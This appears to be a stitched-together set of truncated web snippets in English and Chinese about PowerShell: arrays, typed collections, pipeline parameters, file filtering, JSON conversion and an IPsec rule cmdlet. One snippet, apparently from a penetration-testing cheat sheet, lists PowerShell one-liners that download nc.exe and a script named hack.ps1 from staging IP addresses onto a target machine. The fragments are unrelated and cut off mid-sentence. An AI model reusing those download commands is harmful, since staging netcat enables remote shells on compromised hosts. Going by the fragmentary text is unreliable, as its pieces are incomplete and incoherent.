$array = 1..5 | ForEach-Object { "ATX-SQL-$PSItem" } 通常,当我们考虑使用管道时,我们会想到典型的 PowerShell 单行命令。 可以通过 foreach() 语句和其他循环来利用管道。 因此,我们可以将项放到管道中,而不是在循环中向数组添加项。PowerShell 复制 ...
When no data type is specified, PowerShell creates each array as an object array (System.Object[]). To determine the data type of an array, use the GetType() method. For example:PowerShell Copy $A.GetType() To create a strongly typed array, that is, an array that can contain only...
$array= @('One','Two','Three')# This command throws an exception.$set=New-Object-TypeName'System.Collections.Generic.HashSet[string]'-ArgumentList$array# This command succeeds.$set=New-Object-TypeName'System.Collections.Generic.HashSet[string]'-ArgumentList(,[string[]]$array)$setNew-Object:...
Use@()to Create an Array in PowerShell The items can be the same or different types. The proper way to create an array in PowerShell is by using@(). The items of an array are placed in the@()parentheses. An empty array will be created when no values are placed in(). ...
function Test-ValueFromPipelineByPropertyName{ param( [Parameter(Mandatory, ValueFromPipelineByPropertyName)] [string[]]$ComputerName ) Write-Output -InputObject "Saw that ComputerName was '$ComputerName'" } 然后,使用 ComputerName 属性通过管道传递对象的演示如下:Power...
Dir|Where-Object{$_.CreationTime-gt(Get-Date).AddDays(-14) } 导航文件系统 除非你通过第九章介绍的方式更改了PowerShell控制台的提示信息,否则你工作的当前目录会在控制台的命令行开头显示。你也可以使用Get-Location命令获取当前工作的目录。 如果你想导航到文件系统的另外一个位置,可以使用Set-Location或者它...
'{"field1":"value1","field2":"value2","field3":"valueA,valueB,valueC"}' | ConvertFrom-...
array and array list with custom object Array Contains String not comparing. Array Counts Array Dropdown set to a variable Array to string and spaces Array to string using newlines possible? Asset Inventory - Assistance with Powershell Script ASSIGN AN HTML BLOCK TO A VARIABLE Assigning a timeou...
powershell (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe") Win 8及更高版本PowerShell Invoke-WebRequest (wget): powershell wget "http://172.16.0.107:8000/nc.exe" -outfile "nc.exe" powershell (Invoke-WebRequest -Uri "http://127.0.0.1/hack.ps1" -Ou...
The following cmdlet creates basic IPsec transport mode rule in a Group Policy Object. An IPsec rule is simple to create; all that is required is the display name, and the remaining properties use default values. Inbound traffic is authenticated and integrity checked using the default quick mode...